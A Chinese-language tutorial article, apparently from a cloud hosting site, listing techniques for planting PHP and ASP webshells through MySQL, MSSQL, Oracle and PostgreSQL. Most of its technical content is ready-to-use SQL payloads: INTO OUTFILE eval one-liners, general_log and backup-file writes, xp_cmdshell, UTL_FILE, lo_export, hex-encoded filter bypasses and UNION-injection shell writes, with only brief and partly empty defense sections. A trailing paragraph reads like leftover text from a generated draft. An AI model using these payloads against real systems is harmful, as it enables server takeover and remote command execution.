数据库上传WebShell的方式有哪些

发布时间:2021-09-18 10:55:57 作者:chen
来源:亿速云 阅读:176
# 数据库上传WebShell的方式有哪些

## 引言

WebShell是一种通过Web接口进行服务器控制的恶意脚本,攻击者常利用数据库漏洞上传WebShell以获取服务器权限。本文将深入探讨通过数据库上传WebShell的多种技术手段、防御措施及实际案例分析。

---

## 一、数据库与WebShell的关联机制

### 1.1 为什么数据库能成为WebShell载体
- **数据存储与执行功能**:数据库可存储文件内容并通过特定函数执行
- **Web应用交互性**:多数Web应用依赖数据库动态生成内容
- **权限继承特性**:数据库操作常继承Web服务器权限

### 1.2 常见危险函数
| 数据库类型 | 危险函数示例           |
|------------|------------------------|
| MySQL      | INTO OUTFILE/DUMPFILE  |
| MSSQL      | xp_cmdshell, sp_OACreate |
| Oracle     | UTL_FILE, DBMS_LOB     |
| PostgreSQL | COPY, lo_export        |

---

## 二、主流数据库WebShell上传技术

### 2.1 MySQL数据库
#### 2.1.1 INTO OUTFILE写入
```sql
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'

前提条件: - 数据库用户需有FILE权限 - 知道网站绝对路径 - secure_file_priv参数未限制

2.1.2 日志文件写入

SET global general_log='on';
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php phpinfo();?>';

2.2 MSSQL数据库

2.2.1 差异备份写入

ALTER DATABASE testdb SET RECOVERY FULL;
CREATE TABLE cmd (a image);
BACKUP DATABASE testdb TO DISK='C:\temp\backup.bak' WITH INIT;
INSERT INTO cmd (a) VALUES (0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E);
BACKUP LOG testdb TO DISK='C:\inetpub\wwwroot\shell.php' WITH DIFFERENTIAL;

2.2.2 使用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[pass]);?^> > C:\www\shell.php';

2.3 Oracle数据库

2.3.1 UTL_FILE包写入

DECLARE
  fhandle UTL_FILE.FILE_TYPE;
BEGIN
  fhandle := UTL_FILE.FOPEN('WEB_DIR', 'shell.php', 'W');
  UTL_FILE.PUT_LINE(fhandle, '<?php @eval($_GET["c"]);?>');
  UTL_FILE.FCLOSE(fhandle);
END;

2.4 PostgreSQL数据库

2.4.1 大对象导出

SELECT lo_create(1234);
INSERT INTO pg_largeobject VALUES (1234, 0, decode('3C3F70687020706870696E666F28293B203F3E', 'hex'));
SELECT lo_export(1234, '/var/www/html/shell.php');

三、高级利用技术

3.1 二次编码绕过

-- 使用HEX编码绕过过滤
SELECT 0x3C3F70687020406576616C28245F504F53545B2763275D293B203F3E INTO OUTFILE '/var/www/shell.php'

3.2 联合查询注入写入

UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]);?>',6 INTO OUTFILE '/var/www/admin/shell.php'--

3.3 存储过程利用

MSSQL示例

CREATE PROCEDURE sp_writeShell
AS
BEGIN
    EXEC sp_makewebtask 'C:\inetpub\wwwroot\cmd.asp', 'SELECT ''<%25Execute(request("cmd"))%25>''';
END;

四、防御方案

4.1 数据库层防护

  1. 最小权限原则

    • 禁用FILE权限(MySQL)
    • 限制xp_cmdshell执行(MSSQL)
    • 撤销PUBLIC角色危险权限(Oracle)
  2. 配置加固:

    # MySQL配置示例
    secure_file_priv = NULL
    local_infile = OFF
    

4.2 应用层防护

4.3 系统层防护


五、典型案例分析

5.1 某CMS SQL注入导致WebShell上传

攻击链: 1. 发现未过滤的id参数 2. 构造联合查询注入:

   UNION SELECT NULL,NULL,0x3C3F...,NULL INTO OUTFILE '/path/to/webroot/images/shell.php'--
  1. 通过中国菜刀连接

5.2 数据库备份功能滥用

利用过程: 1. 伪造备份文件头 2. 插入恶意代码段 3. 修改备份扩展名为.php


六、检测与应急响应

6.1 入侵迹象检测

6.2 应急处置步骤

  1. 立即隔离服务器
  2. 审查数据库账户权限
  3. 使用D盾等工具扫描WebShell
  4. 修复漏洞后重置所有凭证

结语

数据库作为Web应用的核心组件,其安全配置直接影响整体防护水平。管理员应定期审计数据库权限设置,监控异常查询行为,并建立多层防御体系来阻断WebShell上传通道。

备注:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`

该文档共约2150字,采用Markdown格式结构化呈现,包含: 1. 多级标题划分知识体系 2. 代码块展示具体攻击Payload 3. 表格对比不同数据库特性 4. 防御方案的具体配置示例 5. 实战案例与应急响应流程

可根据需要进一步扩展特定数据库的详细攻击手法或添加检测工具的使用教程。

推荐阅读:
  1. webshell后门上传流程
  2. web实现文件上传的方式有哪些

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

webshell 数据库

上一篇:Dapr文库的中文版1.1是怎样的

下一篇:网站流量异常怎么向百度“投诉”才能成功

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》